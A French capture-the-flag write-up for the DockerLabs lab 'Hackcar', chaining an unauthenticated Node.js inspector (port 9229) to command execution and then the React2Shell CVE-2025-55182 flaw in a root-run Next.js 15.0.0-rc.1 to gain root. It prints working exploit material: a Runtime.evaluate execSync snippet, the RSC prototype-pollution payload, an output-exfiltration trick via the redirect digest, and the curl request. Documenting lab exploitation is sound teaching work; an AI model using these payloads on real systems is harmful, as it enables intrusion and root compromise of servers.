
Writeup : Hackcar - DockerLabs (RCE via Node.js Inspector + CVE-2025-55182 React2Shell)
Plateforme : DockerLabs Difficulté : Moyenne (plus ou moins, elle a son piquant) Objectif : De
webuseràrooten cassant une Next.js
Comme toujours, d'abord les choses en premier : voir ce qu'on a devant nous.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Attends... 9229 ? Ce port n'est pas normal. Et un scan complet confirme qu'il n'y a que deux ports :
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
Le 9229 est le port typique du Node.js inspector (debugger). S'il est exposé sans protection, c'est pratiquement une porte ouverte à l'exécution de code. Vérifions ça.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Bingo. Le debugger de Node est exposé, sans authentification, et en plus il nous dit où vit l'app. C'est du RCE direct.
Avec le debugger exposé, il nous suffit de nous connecter au WebSocket et d'utiliser Runtime.evaluate pour exécuter ce qu'on veut à l'intérieur du processus Node.
Je me suis fait un script Python rapide qui récupère l'URL du debugger et exécute des commandes avec process.mainModule.require('child_process').execSync() :
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
Pour ne pas me battre avec les guillemets, j'envoie toute la commande en base64 et je la décode à l'intérieur du processus lui-même. Premier test :
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE en tant que webuser. On tient la machine... ou du moins je le croyais. En fait, le bon morceau était mieux caché.
Regardons les processus pour voir ce qui tourne d'autre sur la machine :
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
Attention, info importante ! Il y a une Next.js version 15.0.0-rc.1 qui tourne en tant que ROOT sur le port 3000 (localhost uniquement). Ça sent le privilège... et le CVE.
Comme elle n'écoute que sur 127.0.0.1 à l'intérieur du container, on ne peut pas la toucher depuis l'extérieur. Mais on a un RCE, donc on peut y entrer depuis l'intérieur. Voyons d'abord ce que c'est :
curl -s http://127.0.0.1:3000/
Un "Internal Administration Portal" apparaît — un portail interne d'administration. Tout ça est très appétissant.
On trouve vite la flag user :
DL{g2QrDUvg3HiqaWeZBbZa}
Et maintenant il faut escalader vers root à travers cette Next.js.
La version est Next.js 15.0.0-rc.1, qui utilise React 19 vulnérable au fameux React2Shell (CVE-2025-55182) : un RCE critique (CVSS 10.0) par prototype pollution dans le parser RSC (React Server Components / Flight protocol).
L'exploit est un multipart/form-data malformé avec le header Next-Action, qui fait que le parser de React désérialise un objet empoisonné qui finit par appeler le constructeur Function avec notre code :
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<CODE JS À EXÉCUTER>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
Autrement dit : on empoisonne Chunk.prototype.then, le parser charge notre modèle, et à la résolution de la promesse notre JavaScript s'exécute dans le processus Next.js, qui tourne en tant que root.
Pour récupérer la sortie, j'ai utilisé le mode "redirect" : le code exécute la commande, encode le résultat en base64 et le met dans la propriété digest d'une Error, que Next.js renvoie comme header :
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
La requête finale :
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
Le serveur répond 500 (c'est normal, c'est une erreur volontaire) et dans le header :
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
On décode :
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
ON EST ROOT. Et la flag :
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (web Express, statique, pur bluff)
└─ 9229 (Node.js inspector EXPOSÉ)
└─ RCE en tant que webuser via Runtime.evaluate
└─ Énumération : Next.js 15.0.0-rc.1 sur 127.0.0.1:3000 en tant que ROOT
└─ CVE-2025-55182 (React2Shell) : RCE root
└─ flag : DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags :
| Fichier | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Vulnérabilité | CWE | Ce que ça nous a donné |
|---|---|---|---|
| 1 | Node.js inspector sans authentification (port 9229) | CWE-284 | RCE en tant que webuser |
| 2 | Next.js 15.0.0-rc.1 obsolète (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE en tant que root |
Leçons :
| Outil | Usage |
|---|---|
nmap | Reconnaissance des ports |
curl | Énumération web et déclenchement de l'exploit |
websocket-client (Python) | Parler avec l'inspector de Node |
jadx | La machine précédente (pas ici, mais je continue de la trouver belle) |
base64 | Transporter des payloads sans galère avec les guillemets |
Writeup à but éducatif. Ne touche que les machines pour lesquelles tu as l'autorisation (DockerLabs, HTB, ton propre laboratoire).